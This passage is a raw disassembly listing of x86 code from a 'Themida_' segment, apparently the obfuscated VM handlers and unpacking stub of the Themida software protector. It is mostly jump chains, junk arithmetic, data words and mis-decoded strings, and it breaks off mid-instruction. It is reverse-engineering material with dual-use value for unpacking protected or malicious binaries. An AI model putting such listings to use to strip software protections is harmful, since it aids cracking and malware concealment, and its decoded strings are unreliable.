Themida_:0055347Aj add eax, 4 xchg eax, [esp] jmp loc_549110 ; --------------------------------------------------------------------------- loc_555F31: ; CODE XREF: Themida_:00553237j mov eax, esi pop esi push edx jmp loc_5514FC ; --------------------------------------------------------------------------- loc_555F3A: ; CODE XREF: Themida_:00549BFAj xor eax, ebx jmp loc_54B17A ; --------------------------------------------------------------------------- db 59h, 0F7h, 0D1h dd 0FFB173E9h, 80EAD0FFh, 0D02815C2h, 0FF2D1DE9h db 0FFh ; --------------------------------------------------------------------------- loc_555F55: ; CODE XREF: Themida_:0054F38Ej dec al xor al, 47h sub bl, al pop eax movzx eax, al push dword ptr [edi+eax*4] jmp loc_54F1E6 ; --------------------------------------------------------------------------- loc_555F67: ; CODE XREF: Themida_:00553516j mov bh, ch pop ecx push edx push eax mov al, bh jmp loc_554CE2 ; --------------------------------------------------------------------------- db 31h dd 1C33241Ch, 24248B24h, 0ABE930FFh db 58h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555F83: ; CODE XREF: Themida_:0054C197j pop esp mov [esp], esi push esp jmp loc_555E17 ; --------------------------------------------------------------------------- loc_555F8D: ; CODE XREF: Themida_:loc_55254Bj push ebp mov ebp, 33212954h add esi, ebp jmp loc_553220 ; --------------------------------------------------------------------------- loc_555F9A: ; CODE XREF: Themida_:00550904j add eax, 4E12709Ah jmp loc_54B3D6 ; --------------------------------------------------------------------------- loc_555FA4: ; CODE XREF: Themida_:0054DE12j xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], eax jmp loc_548929 ; --------------------------------------------------------------------------- dd 0E924148Bh, 0FFFFC716h, 0A069DDh, 7FFE0304h, 0FA6A0A69h dd 415CB090h, 5AAB14h, 6EB5h, 7FFE0304h, 217h, 2, 1, 0 dd 0FA6A0A69h, 5 dup(0) dd offset dword_557C30 dd offset loc_55D18F dd offset byte_56820B dd offset word_569BFA dd offset byte_568FF7 dd offset byte_55A02B dd offset dword_56BCF8 dd offset word_55FE2A dd offset byte_566AED dd offset byte_56932B dd offset byte_569803 dd offset byte_558E67 dd offset dword_55B118 dd offset byte_55A629 dd offset dword_564120 dd offset word_55E60A dd offset dword_5687F4 dd offset dword_56499C dd offset word_55ECC2 dd offset word_55B1C2 dd offset byte_565815 dd offset word_56BFC6 dd offset word_56096A dd offset word_5690BA dd offset dword_55FB0C dd offset byte_561F15 dd offset dword_567348 dd offset word_56176A dd offset byte_55FDE3 dd offset dword_56A77C dd offset byte_556AD1 dd offset byte_55F95B dd offset loc_55B197 dd offset word_56D58A dd offset byte_55B175 dd offset word_564F32 dd offset byte_56A23F dd offset dword_5642EC dd offset dword_56B318 dd offset dword_55B31C dd offset byte_56B8AF dd offset byte_563775 dd offset dword_55AD2C dd offset byte_5592BB dd offset dword_559BAC dd offset word_56225A dd offset byte_56C5E9 dd offset byte_5613D7 dd offset byte_566F39 dd offset dword_5676E0 dd offset byte_564AC3 dd offset byte_567511 dd offset byte_560B15 dd offset word_56075E dd offset aNusln ; "╜UИl█" dd offset byte_55F191 dd offset byte_55C8C7 dd offset byte_568E8B dd offset byte_563841 dd offset word_55F63A dd offset byte_55640D dd offset aH0S ; "h;0)~ИщЁ" dd offset word_5694CE dd offset byte_56A8D5 dd offset word_5695C2 dd offset byte_5644B5 dd offset aNhwq ; "╜hwQ" dd offset dword_567210 dd offset word_569316 dd offset byte_56C72D dd offset dword_569444 dd offset byte_55CE51 dd offset byte_56C275 dd offset word_55A8CE dd offset dword_55963C dd offset byte_567ABF dd offset aN1Sc ; "╜1ьИC'" dd offset loc_557593 dd offset dword_567F84 dd offset byte_5664CF dd offset word_5686F6 dd offset loc_556DA5 dd offset off_55634F dd offset byte_55A35B dd offset loc_55B2A1 dd offset dword_56D78C dd offset byte_56CA1F dd offset byte_560F57 dd offset byte_561C31 dd offset word_557602 dd offset byte_569FAD dd offset word_569F46 dd offset word_56D5B2 dd offset loc_55C35B dd offset word_5694FA dd offset word_55728E dd offset word_56571A dd offset word_55ED12 dd offset dword_55DEC8 dd offset byte_5640FD dd offset dword_563618 dd offset byte_56D493 dd offset word_55A20E dd offset byte_557B19 dd offset byte_55B27F dd offset byte_5630F1 dd offset dword_56460C dd offset dword_56B858 dd offset byte_5692C3 dd offset byte_567CDB dd offset byte_557F77 dd offset byte_55CC69 dd offset word_5689A2 dd offset byte_5653C7 dd offset word_556FDA dd offset byte_565441 dd offset loc_561A9F dd offset aMsg7 ; "╛Иё7" dd offset dword_560294 dd offset dword_55EDC0 dd offset word_56556A dd offset word_55A77A dd offset dword_56500C dd offset byte_55D7B9 dd offset dword_56D5CC dd offset byte_564279 dd offset loc_56AC0E dd offset dword_561CFC dd offset dword_5582F0 dd offset byte_55ED47 dd offset byte_55DBE3 dd offset loc_55CC26 dd offset byte_55DB29 dd offset word_559F4A dd offset word_5684CE dd offset byte_567E61 dd offset dword_56D6D8 dd offset byte_557BFF dd offset word_56A3FE dd offset byte_55E617 dd offset dword_5633D0 dd offset word_56C516 dd offset dword_559FF8 dd offset byte_556C41 dd offset byte_55ABB5 dd offset dword_565124 dd offset dword_55EAF4 dd offset byte_560B91 dd offset word_56B1BA dd offset byte_55E1DD dd offset byte_5654F5 dd offset word_566502 dd offset byte_56C121 dd offset word_562736 dd offset byte_55D483 dd offset dword_5651A4 dd offset byte_565919 dd offset aMsl ; "╛И▀}" dd offset dword_557860 dd offset word_563BCE dd offset word_56635A dd offset byte_563E6D dd offset dword_55BC48 dd offset byte_55A72D dd offset byte_56ABEB dd offset loc_55F4E8 dd offset word_5606AA ; --------------------------------------------------------------------------- loc_5562A0: ; CODE XREF: Themida_:00599D7Ej ; Themida_:005A5A70j pusha pushf cld call $+5 pop edi sub edi, 5EB583Fh mov eax, edi add edi, 5EB5557h cmp eax, [edi+2Ch] jnz short loc_5562BE jmp short loc_5562D1 ; --------------------------------------------------------------------------- loc_5562BE: ; CODE XREF: Themida_:005562BAj mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_5562CD ; --------------------------------------------------------------------------- loc_5562C8: ; CODE XREF: Themida_:005562CFj add [edi+ecx*4+40h], eax dec ecx loc_5562CD: ; CODE XREF: Themida_:005562C6j or ecx, ecx jnz short loc_5562C8 loc_5562D1: ; CODE XREF: Themida_:005562BCj mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_5562DE: ; CODE XREF: Themida_:005562E5j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_5562DE loc_5562E7: ; CODE XREF: Themida_:005563B6j ; Themida_:005564B2j ... lodsb xor al, bl push small 38D3h mov [esp], cx push small 5772h mov [esp], ax mov al, 9Dh push 41FBh mov [esp], edx mov dl, al sub esp, 4 mov [esp], eax mov ah, dl mov ch, ah push dword ptr [esp] pop eax add esp, 4 push dword ptr [esp] jmp loc_56D65C ; --------------------------------------------------------------------------- loc_556322: ; CODE XREF: Themida_:0055EFAEj sub esi, ebx pop ebx add ebp, esi jmp loc_561CC2 ; --------------------------------------------------------------------------- dd 1668C381h, 0C8E92F75h, 0C100013Ch, 8B0F05E3h, 48E0h dd 0E902EBC1h, 0DA83h, 1CCBE95Bh db 2 dup(0), 50h off_55634F dd offset dword_4B5248+7C20h ; DATA XREF: Themida_:0055614Co align 4 dd 83242C89h, 2C8904ECh, 2C8B5424h, 4C48124h, 0E9000000h dd 0AFEDh ; --------------------------------------------------------------------------- loc_55636C: ; CODE XREF: Themida_:005567CBj push ebx jmp loc_55837D ; --------------------------------------------------------------------------- dw 0E681h dd 3CA530FFh, 8107EEC1h, 10805F6h, 2B26E900h db 1, 0 ; --------------------------------------------------------------------------- loc_556386: ; CODE XREF: Themida_:00556F14j add esp, 4 push esi pop ecx pop esi jmp loc_5656F6 ; --------------------------------------------------------------------------- db 81h, 0EEh, 0DEh dd 0E9130CF8h, 16416h ; --------------------------------------------------------------------------- loc_55639C: ; CODE XREF: Themida_:005692E0j mov eax, 4A0173D6h push ecx mov ecx, 4A016FD6h sub eax, ecx pop ecx or [edi+1Ch], eax mov eax, [esp] add esp, 4 jmp loc_5562E7 ; --------------------------------------------------------------------------- db 55h dd 587B7BBDh, 0B6CD8131h, 4D00141Bh, 376FE951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5563CE: ; CODE XREF: Themida_:0055AF72j add ebp, 450051A5h push edx jmp loc_55E898 ; --------------------------------------------------------------------------- loc_5563DA: ; CODE XREF: Themida_:0056A561j or eax, ebp pop ebp and eax, 5CE35AA2h and eax, 751A36D7h sub eax, 5400127Ch add edi, eax pop eax sub esp, 4 jmp loc_558B13 ; --------------------------------------------------------------------------- loc_5563FA: ; CODE XREF: Themida_:00561140j mov esp, [esp] jmp loc_56104A ; --------------------------------------------------------------------------- loc_556402: ; CODE XREF: Themida_:00569D9Fj js loc_559864 jmp loc_56C9B7 ; --------------------------------------------------------------------------- byte_55640D db 64h, 8Fh, 2 ; DATA XREF: Themida_:005560F4o dd 0FFFED2E9h db 0FFh ; --------------------------------------------------------------------------- loc_556415: ; CODE XREF: Themida_:0055D51Ej xor ecx, 0CEAD29F4h sub edx, 0A793034h sub edx, 629B27BCh add edx, ecx add edx, 629B27BCh add edx, 0A793034h mov ecx, [esp] add esp, 4 push ebx push ecx jmp loc_55DE23 ; --------------------------------------------------------------------------- loc_556442: ; CODE XREF: Themida_:00560FEDj xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] push ecx push ax push edx mov dl, 0Ah jmp loc_55CCA1 ; --------------------------------------------------------------------------- loc_556459: ; CODE XREF: Themida_:0056179Cj add ebx, ebp jmp loc_5672FC ; --------------------------------------------------------------------------- loc_556460: ; CODE XREF: Themida_:00565799j pop cx add ah, 0E3h jle loc_563703 push edx mov dh, 0EAh jmp loc_56853B ; --------------------------------------------------------------------------- loc_556473: ; CODE XREF: Themida_:005630CBj sub esi, 22130CE3h add esi, edi add esi, 22130CE3h mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] pop ecx jmp loc_5575DC ; --------------------------------------------------------------------------- loc_55649E: ; CODE XREF: Themida_:0056C728j mov esi, edx pop edx jmp loc_56ADF2 ; --------------------------------------------------------------------------- loc_5564A6: ; CODE XREF: Themida_:0056228Aj xor [esp], edi xor edi, [esp] mov esp, [esp] push small word ptr [eax] jmp loc_5562E7 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 243C8900h, 5180E9h db 0 ; --------------------------------------------------------------------------- loc_5564C5: ; CODE XREF: Themida_:00565F3Bj xor esi, edi jmp loc_55C1C3 ; --------------------------------------------------------------------------- loc_5564CC: ; CODE XREF: Themida_:00566679j xchg ebx, [esp] pop esp mov [esp], ebx push esi push 4CEE776Dh pop esi sub esi, 2D966A54h jle loc_55866F jmp loc_559B0A ; --------------------------------------------------------------------------- loc_5564EB: ; CODE XREF: Themida_:00565C3Dj push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_55E5EE ; --------------------------------------------------------------------------- loc_5564FE: ; CODE XREF: Themida_:00556D60j ; Themida_:0056AD99j jmp loc_569DA4 ; --------------------------------------------------------------------------- loc_556503: ; CODE XREF: Themida_:005645F3j mov edi, [esp] jmp loc_566323 ; --------------------------------------------------------------------------- loc_55650B: ; CODE XREF: Themida_:0056A956j mov edx, [esp] add esp, 4 push edi push eax push ebx mov ebx, 77660363h jmp loc_557645 ; --------------------------------------------------------------------------- aHsD db 'HИэ╓',0 db 0 ; --------------------------------------------------------------------------- loc_556527: ; CODE XREF: Themida_:0056BE39j shr cl, 6 push dx mov dh, 0ADh sub cl, dh mov dx, [esp] add esp, 2 add al, cl mov ecx, [esp] add esp, 4 sub al, 0B0h sub al, ch add al, 0B0h push edx mov dh, 54h jmp loc_55EEF2 ; --------------------------------------------------------------------------- db 68h, 6Eh, 1Eh dd 56E90000h db 0ACh, 2 dup(0) ; --------------------------------------------------------------------------- loc_556557: ; CODE XREF: Themida_:00559C2Ej push ebp mov ebp, 6AC707AEh add ebx, ebp pop ebp add ebx, eax push ebp mov ebp, 257B3C20h jmp loc_55B28D ; --------------------------------------------------------------------------- db 58h, 8Fh, 4 dd 24248B24h, 31241C33h, 1C33241Ch, 24248B24h, 4BB0F66h dd 5CE99C24h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55658B: ; CODE XREF: Themida_:00561B77j mov ebx, 0FF7ED678h xor edi, ebx mov ebx, [esp] add esp, 4 mov eax, edi jmp loc_564A86 ; --------------------------------------------------------------------------- loc_5565A2: ; CODE XREF: Themida_:00562106j add ebx, 4 sub esp, 4 mov [esp], ebp mov ebp, 5A684B8Ah shl ebp, 3 add ebp, 1 jmp loc_55CF30 ; --------------------------------------------------------------------------- aXsmz db 'XИ╛Z',0 align 2 loc_5565CA: ; CODE XREF: Themida_:00556DCFj sub al, dl pop edx push dword ptr [esp] pop edx add esp, 4 add al, 0DFh jmp loc_55FE93 ; --------------------------------------------------------------------------- loc_5565DE: ; CODE XREF: Themida_:005578E8j add esi, 10DD0610h mov edi, esi jmp loc_55EF3C ; --------------------------------------------------------------------------- aTsea db '$▓И╔─',0 align 2 loc_5565F2: ; CODE XREF: Themida_:00557D57j push ebx mov ebx, 5C032BB3h jmp loc_55E424 ; --------------------------------------------------------------------------- db 5Ah, 81h, 0C4h dd 4, 0A904D828h, 81E18951h, 4C1h, 2E98300h, 76CBE9h db 0 ; --------------------------------------------------------------------------- loc_556619: ; CODE XREF: Themida_:0055F740j mov [esp], edx push eax pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_556623: ; CODE XREF: Themida_:0055785Bj pop edx add esp, 4 add edi, ebx mov ebx, [esp] add esp, 4 or ebp, edi mov edi, [esp] push ebp mov ebp, esp jmp loc_568E6D ; --------------------------------------------------------------------------- loc_55663C: ; CODE XREF: Themida_:0055F166j mov ecx, 2BA7172Dh add ecx, 27A6452h add ecx, ebp sub ecx, 27A6452h pop ebp jmp loc_5674CE ; --------------------------------------------------------------------------- loc_556655: ; CODE XREF: Themida_:0055F661j xor bl, 76h jno loc_568CE3 jmp loc_55B972 ; --------------------------------------------------------------------------- db 1 dd 0C1805FFBh, 24048BC7h, 50595451h, 0B03E42B8h, 3DE94076h db 2Eh, 1, 0 ; --------------------------------------------------------------------------- loc_55667B: ; CODE XREF: Themida_:005694F5j push ebx push 390E2802h pop ebx jmp loc_56BA6C ; --------------------------------------------------------------------------- db 5Ch dd 9C240430h, 0ABEBE9h db 0 ; --------------------------------------------------------------------------- loc_556691: ; CODE XREF: Themida_:0056ABBDj mov [esp], ebp mov ebp, 111D3D22h xor ebx, ebp mov ebp, [esp] add esp, 4 push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_5689F7 ; --------------------------------------------------------------------------- loc_5566B9: ; CODE XREF: Themida_:00558815j mov edx, [esp] jmp loc_55FCA1 ; --------------------------------------------------------------------------- loc_5566C1: ; CODE XREF: Themida_:0055742Aj jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_5566C6: ; CODE XREF: Themida_:0055A8C9j push ebx mov ebx, 384657B9h not ebx inc ebx shl ebx, 5 add ebx, 71436F1Dh sub ecx, ebx jmp loc_5686C9 ; --------------------------------------------------------------------------- loc_5566DF: ; CODE XREF: Themida_:0056B1E3j push 2053h mov [esp], edi mov edi, 75977BAh or edi, 7C9h or edi, 5C517D3Eh jmp loc_56A361 ; --------------------------------------------------------------------------- db 55h, 0E9h, 0E3h db 0Eh, 1, 0 ; --------------------------------------------------------------------------- loc_556703: ; CODE XREF: Themida_:0056CF2Aj add esp, 4 push 3D10h mov [esp], edi jmp loc_559194 ; --------------------------------------------------------------------------- loc_556713: ; CODE XREF: Themida_:0055AAB7j ; Themida_:0055C071j mov [esp], edx jmp loc_55C50E ; --------------------------------------------------------------------------- loc_55671B: ; CODE XREF: Themida_:0055C456j push ebx push edx jmp loc_55B276 ; --------------------------------------------------------------------------- loc_556722: ; CODE XREF: Themida_:005683DFj and ecx, 5D9136F0h push ebx jmp loc_559CDD ; --------------------------------------------------------------------------- dw 2C89h dd 651BBD24h, 0CD8122A8h, 172A333Ch, 0FEC4ED81h, 0FCE92A4Eh db 0CEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_556747: ; CODE XREF: Themida_:0056794Bj mov [esp], ebx mov ebx, 4 sub edx, 44853C85h push 50A2h mov [esp], esi mov esi, 78E3000Fh jmp loc_558271 ; --------------------------------------------------------------------------- loc_556767: ; CODE XREF: Themida_:0056BC22j sub edx, 1A187ACCh add eax, edx pop edx add eax, 4 xchg eax, [esp] mov esp, [esp] or eax, eax jz loc_557B43 push dword ptr [edi+1Ch] push dword ptr [esp] jmp loc_560CE5 ; --------------------------------------------------------------------------- aKSiSJ db '╦╨K<',0Ah db 'S┴цИс╕',0 dd 12C78100h, 297DBD45h, 39ABE9C7h db 1, 0 ; --------------------------------------------------------------------------- loc_5567A6: ; CODE XREF: Themida_:00564A65j add esp, 4 jmp loc_561214 ; --------------------------------------------------------------------------- loc_5567B1: ; CODE XREF: Themida_:0056380Aj pop esp push bx mov bh, 0D7h sub dl, 0A3h jmp loc_55FD16 ; --------------------------------------------------------------------------- loc_5567BE: ; CODE XREF: Themida_:005570FEj ; Themida_:005629B2j mov edi, 4 add ecx, 690B4A3Dh add ecx, edi jmp loc_55636C ; --------------------------------------------------------------------------- dd 8B57BD55h, 0EB298278h, 56D3F75Dh, 79A6BF57h, 0EC81270Bh dd 4, 11661E9h db 0 ; --------------------------------------------------------------------------- loc_5567ED: ; CODE XREF: Themida_:0055E8DEj pop ebp jmp loc_559D76 ; --------------------------------------------------------------------------- loc_5567F3: ; CODE XREF: Themida_:0055E33Cj push 3CB2h mov [esp], ebx push esi mov esi, 56C25D7Fh push edi jmp loc_556875 ; --------------------------------------------------------------------------- loc_556807: ; CODE XREF: Themida_:0055BA35j pop edx push edi jmp loc_56602E ; --------------------------------------------------------------------------- loc_55680E: ; CODE XREF: Themida_:00559280j push small 548Bh mov [esp], dx mov dl, 0BAh sub al, 82h sub al, dl jmp loc_55BFA3 ; --------------------------------------------------------------------------- loc_556821: ; CODE XREF: Themida_:0055BB13j mov esp, [esp] div ecx push 746Bh jmp loc_567941 ; --------------------------------------------------------------------------- loc_556830: ; CODE XREF: Themida_:0055AB17j add eax, ecx pop ecx sub esp, 4 mov [esp], eax jmp loc_564784 ; --------------------------------------------------------------------------- loc_55683E: ; CODE XREF: Themida_:0055F13Cj ; Themida_:0056B0B0j push 24312A7Dh pop esi xchg eax, esi not eax xchg eax, esi jmp loc_55ADB2 ; --------------------------------------------------------------------------- loc_55684D: ; CODE XREF: Themida_:0056120Fj ; Themida_:005673A7j and ebp, 3DD32FB8h sub ebp, 0F5B6C5F5h add esi, 4E662275h sub esi, ebp sub esi, 4E662275h pop ebp sub esi, 2D8D54D4h add esi, eax jmp loc_56AD0B ; --------------------------------------------------------------------------- loc_556875: ; CODE XREF: Themida_:00556802j push esi add dword ptr [esp], 37DA6BD2h mov edi, [esp] add esp, 4 sub edi, 37DA6BD2h sub esp, 4 mov [esp], edx push edi pop edx mov ebx, edx pop edx pop edi pop esi jmp loc_56D17A ; --------------------------------------------------------------------------- dw 0C381h dd 0B51FB4AAh, 3003ED81h, 74E961DFh db 0ACh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5568AF: ; CODE XREF: Themida_:00560DEFj pop ebp push esi push ebx push 7C0B2D27h pop ebx xor ebx, 4CF74AE4h mov esi, ebx pop ebx xor edx, esi pop esi jmp loc_566C45 ; --------------------------------------------------------------------------- db 0BBh, 0E9h, 5 dd 0DF0143D7h, 0EA43E9h db 0 ; --------------------------------------------------------------------------- loc_5568D5: ; CODE XREF: Themida_:0056ADFFj shr bh, 4 jmp loc_55C31F ; --------------------------------------------------------------------------- loc_5568DD: ; CODE XREF: Themida_:00569311j push edx push esi mov esi, 54FD5F1Bh xor esi, 150368F6h jb loc_563430 xor esi, 15913C9Ah jnb loc_55D259 not esi shr esi, 4 dec esi jnp loc_556FCA mov esi, ecx mov edi, 43E7040Dh dec edi add edi, 109D7B9Fh shr edi, 1 jmp loc_56BF80 ; --------------------------------------------------------------------------- loc_55691D: ; CODE XREF: Themida_:0056D16Aj push ebx mov ebx, 0CE030BFh and esi, ebx pop ebx jmp loc_55E1C8 ; --------------------------------------------------------------------------- loc_55692B: ; CODE XREF: Themida_:00557156j push 21D9h jmp loc_562748 ; --------------------------------------------------------------------------- loc_556935: ; CODE XREF: Themida_:00569CDFj push dword ptr [edi+eax*4] jmp loc_5562E7 ; --------------------------------------------------------------------------- db 0F7h, 0DEh, 0Fh dd 275682h, 81D6F700h, 0D7E50DEEh, 8BF289F7h, 51502434h ; --------------------------------------------------------------------------- loc_556954: ; CODE XREF: Themida_:loc_559572j sub eax, 4D5D3D20h jmp loc_564493 ; --------------------------------------------------------------------------- loc_55695E: ; CODE XREF: Themida_:00556BB6j or dl, 0Dh xor dl, 8Ah sub al, 0DDh add al, 33h add al, dl jmp loc_56CA84 ; --------------------------------------------------------------------------- loc_55696F: ; CODE XREF: Themida_:0055DC15j mov ebx, ebp mov esi, ebx pop ebx mov ebp, [esp] add esp, 4 jmp loc_558F62 ; --------------------------------------------------------------------------- aBI3VsW db '│оi3ц"VИаw',0 align 2 loc_55698E: ; CODE XREF: Themida_:0055D79Ej jmp loc_557365 ; --------------------------------------------------------------------------- loc_556993: ; CODE XREF: Themida_:00567C1Bj shl dl, 6 jmp loc_562522 ; --------------------------------------------------------------------------- loc_55699B: ; CODE XREF: Themida_:0055A84Fj sub ebx, 0B5EAD7CCh add edi, ebx push dword ptr [esp] pop ebx add esp, 4 add edi, ecx push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_563907 ; --------------------------------------------------------------------------- dd 420BE56h, 0F70129E1h, 0F968565Eh, 89000072h, 0CAE9242Ch db 66h, 1, 0 ; --------------------------------------------------------------------------- loc_5569D7: ; CODE XREF: Themida_:0055BC22j sub ebx, eax pop eax mov eax, ebx mov ebx, [esp] jmp loc_559645 ; --------------------------------------------------------------------------- loc_5569E4: ; CODE XREF: Themida_:0055F540j add al, 79h add al, bh jmp loc_562E30 ; --------------------------------------------------------------------------- loc_5569ED: ; CODE XREF: Themida_:005570D8j add esp, 4 or eax, eax jz loc_5599C0 push dword ptr [edi+1Ch] sub esp, 4 mov [esp], eax mov eax, 460102F3h jmp loc_55EDE4 ; --------------------------------------------------------------------------- dw 0E94Eh dd 14E90h ; --------------------------------------------------------------------------- loc_556A14: ; CODE XREF: Themida_:00558618j add eax, 3FAC18F5h shl eax, 4 xor eax, 241707A3h sub ebp, 7F1346Fh sub ebp, eax add ebp, 7F1346Fh mov eax, [esp] push edi mov edi, esp add edi, 4 jmp loc_56A9B1 ; --------------------------------------------------------------------------- loc_556A40: ; CODE XREF: Themida_:00565166j pop edx mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp] jmp loc_5608A0 ; --------------------------------------------------------------------------- dd 289D932Dh, 8BC5898Bh, 0C4832404h, 0E085E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556A6A: ; CODE XREF: Themida_:0056BB53j add edx, 346C6448h add edx, eax sub edx, 346C6448h mov eax, [esp] add esp, 4 add edx, 4 xchg edx, [esp] jmp loc_558BA7 ; --------------------------------------------------------------------------- loc_556A8F: ; CODE XREF: Themida_:005592F4j push 33B4383Ch pop edi push edx jmp loc_56B49B ; --------------------------------------------------------------------------- db 5Ch dd 0B9240C89h, 718B3C22h, 0D1BEE953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556AAA: ; CODE XREF: Themida_:0056198Dj jg loc_559B0A xor esi, 0B14EC0B0h mov eax, esi pop esi xor ebx, eax pop eax sub edi, ebx pop ebx push edx mov edx, 1B9136B0h jmp loc_56AE52 ; --------------------------------------------------------------------------- loc_556ACA: ; CODE XREF: Themida_:005590CFj ; Themida_:0055E758j sub ebx, esi jmp loc_559E1A ; --------------------------------------------------------------------------- byte_556AD1 db 0ADh, 0E9h, 0E0h ; DATA XREF: Themida_:0055607Co db 62h, 1, 0 ; --------------------------------------------------------------------------- loc_556AD7: ; CODE XREF: Themida_:0055EE71j ; Themida_:005640BFj push dword ptr [esp+4] jmp loc_55E8BE ; --------------------------------------------------------------------------- dd 6E43E681h, 820F50BFh, 5FAEh, 11E03E9h db 0 ; --------------------------------------------------------------------------- loc_556AF1: ; CODE XREF: Themida_:00560E46j add ebx, edi add ebx, 71DB02FEh pop edi xchg ebx, [esp] mov esp, [esp] jmp loc_56CC0C ; --------------------------------------------------------------------------- loc_556B05: ; CODE XREF: Themida_:00563B1Bj sub dh, cl push eax mov ah, 38h add dh, ah jmp loc_56AECB ; --------------------------------------------------------------------------- db 68h, 42h, 27h dd 0CDE90000h db 25h, 1, 0 ; --------------------------------------------------------------------------- loc_556B1B: ; CODE XREF: Themida_:0055CE33j push esi push edx mov edx, 4126700Ah mov esi, edx pop edx mov ecx, esi push dword ptr [esp] pop esi jmp loc_5593EE ; --------------------------------------------------------------------------- loc_556B30: ; CODE XREF: Themida_:00567B2Aj push 4E0620A6h pop ecx xor ecx, 1D505671h and ecx, 0F92182Bh push esi mov esi, 0F111F62h add ecx, 103E3960h sub ecx, esi sub ecx, 103E3960h pop esi push edi mov edi, 6B4252E0h xor ecx, edi pop edi shl ecx, 1 push edx mov edx, 3E854486h jmp loc_559B7D ; --------------------------------------------------------------------------- loc_556B6D: ; CODE XREF: Themida_:0056682Bj push ecx mov ecx, 4 add edx, ecx pop ecx xchg edx, [esp] pop esp movzx eax, al push small 15B6h mov [esp], ax jmp loc_564E36 ; --------------------------------------------------------------------------- loc_556B8A: ; CODE XREF: Themida_:0055EB31j pop edx shr bh, 5 sub esp, 2 mov [esp], cx mov cl, 37h add cl, 0B4h sub bh, 79h sub bh, cl add bh, 79h mov cx, [esp] add esp, 2 add al, 0C5h push edx mov dl, 0BFh dec dl jmp loc_55695E ; --------------------------------------------------------------------------- db 81h dd 5804F6CEh, 0EC68102h, 0E999A4FBh, 30CFh, 0BE3CD205h dd 89E30539h, 42E9E4A3h db 36h, 1, 0 ; --------------------------------------------------------------------------- loc_556BDB: ; CODE XREF: Themida_:00557C76j mov [esp], edi push 203Eh mov [esp], esi push ebx mov esi, [esp] push edx jmp loc_55C470 ; --------------------------------------------------------------------------- loc_556BF0: ; CODE XREF: Themida_:0056B267j add ebp, 768A2057h jmp loc_568C4D ; --------------------------------------------------------------------------- loc_556BFB: ; CODE XREF: Themida_:00558088j sub ch, 15h mov al, ch pop ecx jmp loc_568BD8 ; --------------------------------------------------------------------------- loc_556C06: ; CODE XREF: Themida_:00560910j push edx jmp loc_55F4CB ; --------------------------------------------------------------------------- dd 49E9FB01h db 0Ch, 1, 0 ; --------------------------------------------------------------------------- loc_556C13: ; CODE XREF: Themida_:00556E43j push dword ptr [esp] mov ecx, [esp] push ebx jmp loc_5654D4 ; --------------------------------------------------------------------------- loc_556C1F: ; CODE XREF: Themida_:0055BF0Bj pop dword ptr [esp] pop esp xor bl, al jmp loc_566E7C ; --------------------------------------------------------------------------- loc_556C2A: ; CODE XREF: Themida_:00566B8Ej add edi, ebp add edi, 6B87BD0h jmp loc_568B29 ; --------------------------------------------------------------------------- db 5 dd 4, 9DF1E9h db 0 byte_556C41 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00556240o dd 4EC8324h, 54242C89h, 57242C8Bh, 0BB53E789h, 220C0152h dd 0F3814B4Bh, 220C0154h, 18E9DF01h db 0F9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556C67: ; CODE XREF: Themida_:0056C70Cj push edi mov edi, 52DC56E3h jmp loc_562D27 ; --------------------------------------------------------------------------- dw 0E951h dd 13712h, 498C68h, 241C8900h, 5631E9h, 5C492500h, 0F8356B27h dd 8956FE66h, 0E4BF58C3h, 0E9F596F4h, 9AE7h ; --------------------------------------------------------------------------- loc_556C9C: ; CODE XREF: Themida_:0056AD7Fj mov esi, 352567BEh xor edx, esi pop esi jmp loc_5657C7 ; --------------------------------------------------------------------------- db 0Fh, 8Ch, 58h dd 810000A6h, 7B5896F7h, 0C3840F49h, 0E90000F9h, 2286h dd 3377F581h, 4E98253h db 32h, 1, 0 ; --------------------------------------------------------------------------- loc_556CCB: ; CODE XREF: Themida_:loc_56413Fj jmp loc_559CE7 ; --------------------------------------------------------------------------- loc_556CD0: ; CODE XREF: Themida_:0056AA20j mov esp, [esp] cmp cl, al pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_556CDB: ; CODE XREF: Themida_:0055E315j mov ecx, ebp pop ebp xor ecx, eax pop eax and ecx, 4B536F31h jp loc_56CF21 push esi push 34FF766Eh pop esi and ecx, esi pop esi shl ecx, 3 jmp loc_5677C3 ; --------------------------------------------------------------------------- loc_556CFF: ; CODE XREF: Themida_:005620C9j jge loc_5694C3 sub ebx, 6DB7183Dh jmp loc_56C36B ; --------------------------------------------------------------------------- db 88h, 0CCh ; --------------------------------------------------------------------------- loc_556D12: ; CODE XREF: Themida_:00569CABj pop edi or eax, 718F2F55h shr eax, 3 dec eax shl eax, 6 sub eax, 3C4B1209h add eax, 0CDBD9AF9h and edx, eax mov eax, [esp] jmp loc_558356 ; --------------------------------------------------------------------------- loc_556D33: ; CODE XREF: Themida_:00567CBAj xchg ebp, [esp] mov esp, [esp] shr bl, 2 add bl, 0DAh xor al, bl push dword ptr [esp] jmp loc_5675C8 ; --------------------------------------------------------------------------- db 56h, 50h, 0E9h dd 15E10h ; --------------------------------------------------------------------------- loc_556D50: ; CODE XREF: Themida_:00561F8Ej mov dl, 7 xor dl, 0F1h xor dl, 6Bh neg dl shl dl, 2 sub dl, 22h jo 